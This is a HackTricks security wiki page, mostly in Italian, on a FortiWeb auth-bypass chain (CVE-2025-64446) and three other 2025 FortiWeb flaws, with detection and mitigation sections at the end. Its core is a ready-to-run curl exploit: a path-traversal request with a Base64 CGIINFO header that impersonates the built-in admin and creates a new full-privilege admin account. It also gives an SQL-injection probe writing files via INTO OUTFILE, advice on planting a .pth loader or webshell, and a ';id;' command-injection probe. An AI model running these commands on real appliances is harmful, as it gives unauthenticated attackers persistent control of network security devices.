Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Fortinet FortiWeb espone un dispatcher CGI centralizzato in /cgi-bin/fwbcgi. Una two-bug chain permette a un attaccante remoto non autenticato di:

  • Raggiungere fwbcgi iniziando l’URL con un prefisso API valido e attraversando le directory.
  • Impersonare qualsiasi utente (incluso il built-in admin) fornendo un header HTTP speciale che il CGI considera come identità.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Sono state osservate exploitation in the wild per creare utenti admin persistenti.

Versioni interessate (come documentato pubblicamente):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 restituisce HTTP 403 per la traversal probe qui sotto.

Prova rapida della vulnerabilità

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretazione: HTTP 200 → probabilmente vulnerabile; HTTP 403 → corretto.

Catena della causa principale

  1. API-prefix path traversal to internal CGI
  • Qualsiasi percorso di richiesta che inizia con un prefisso API valido di FortiWeb (es., /api/v2.0/cmdb/ o /api/v2.0/cmd/) può usare ../ per eseguire path traversal fino a /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Una volta raggiunto fwbcgi, un primo gate esegue un controllo JSON permissivo indicizzato da un file per-path sotto /var/log/inputcheck/. Se il file è assente, il controllo passa immediatamente. Se presente, il body deve semplicemente essere JSON valido. Usa {} come body minimo conforme.
  1. Header-driven user impersonation
  • Il programma legge la variabile d’ambiente CGI HTTP_CGIINFO (derivata dall’header HTTP CGIINFO), la decodifica Base64, effettua il parse del JSON e copia gli attributi direttamente nel contesto di login, impostando il domain/VDOM. Chiavi di interesse:
  • username, loginname, vdom, profname
  • Esempio di JSON per impersonare l’admin built-in:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 di quanto sopra (come usato in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Pattern di abuso end-to-end (non autenticato → admin)

  1. Raggiungi /cgi-bin/fwbcgi via an API-prefix traversal.
  2. Fornisci qualsiasi body JSON valido (p.es., {}) per soddisfare il controllo di input.
  3. Invia l’header CGIINFO: <base64(json)> dove il JSON definisce l’identità target.
  4. POST il JSON backend atteso da fwbcgi per eseguire azioni privilegiate (p.es., creare un utente admin per la persistenza).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Impersona l’admin e crea un nuovo utente admin locale:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Note:

  • Qualsiasi body JSON valido è sufficiente (es., {}) se /var/log/inputcheck/<path>.json non esiste.
  • Lo schema dell’azione è FortiWeb-internal; l’esempio sopra aggiunge un admin locale con privilegi completi.

Altre FortiWeb 2025 vulnerabilities da controllare rapidamente

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Interessa le versioni 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Corretto in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Bug: get_fabric_user_by_token() usa il valore Authorization: Bearer <token> direttamente in una query SQL. L’attaccante fornisce SQL che viene eseguito come utente MySQL e può scrivere file via SELECT ... INTO OUTFILE, portando a esecuzione di codice (webshell/.pth loader).
  • Superficie d’attacco tipica: /api/fabric/device/status (e altri Fabric Connector endpoints) su HTTP/HTTPS sul management plane.
  • Test rapido per SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: write a .pth into FortiWeb’s Python site-packages that imports os;os.system(...) on interpreter start, or drop a CGI under the webroot. Reloading services will execute the payload.
  • Hunting clues: Authorization headers containing quotes/UNION/SELECT; unexpected files under /data/lib/python*/site-packages/ or /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
  • Only exploitable when FortiCloud SSO login is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
  • Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (non-destructive): send a parameter containing ;id; to management HTTP endpoints and watch for 500 responses with command output; block or patch immediately if any echo is seen.

Detection

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../ (e.g., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.
  • Fabric Connector SQLi: Authorization headers containing SQL metacharacters, sudden files in Python site-packages/CGI dirs, hits to /api/fabric/device/status from internet IPs.
  • FortiCloud SSO: unexpected SAML issuers or audience values in /var/log/ssod.
  • Backend artifacts:
  • Per-path files under /var/log/inputcheck/ (gate configuration).
  • Unexpected admin creation and configuration changes.
  • Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).

Mitigation

  • Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
  • Patch the other 2025 flaws: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Until patched:
  • Do not expose FortiWeb management plane to untrusted networks.
  • Add reverse-proxy/WAF rules to block:
  • Paths that start with /api/ and contain ../cgi-bin/fwbcgi.
  • Requests carrying a CGIINFO header.
  • Fabric Connector calls with SQL metacharacters in Authorization.
  • SAML endpoints from the internet if FortiCloud SSO is unused.
  • Monitor and alert on the detection indicators above.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks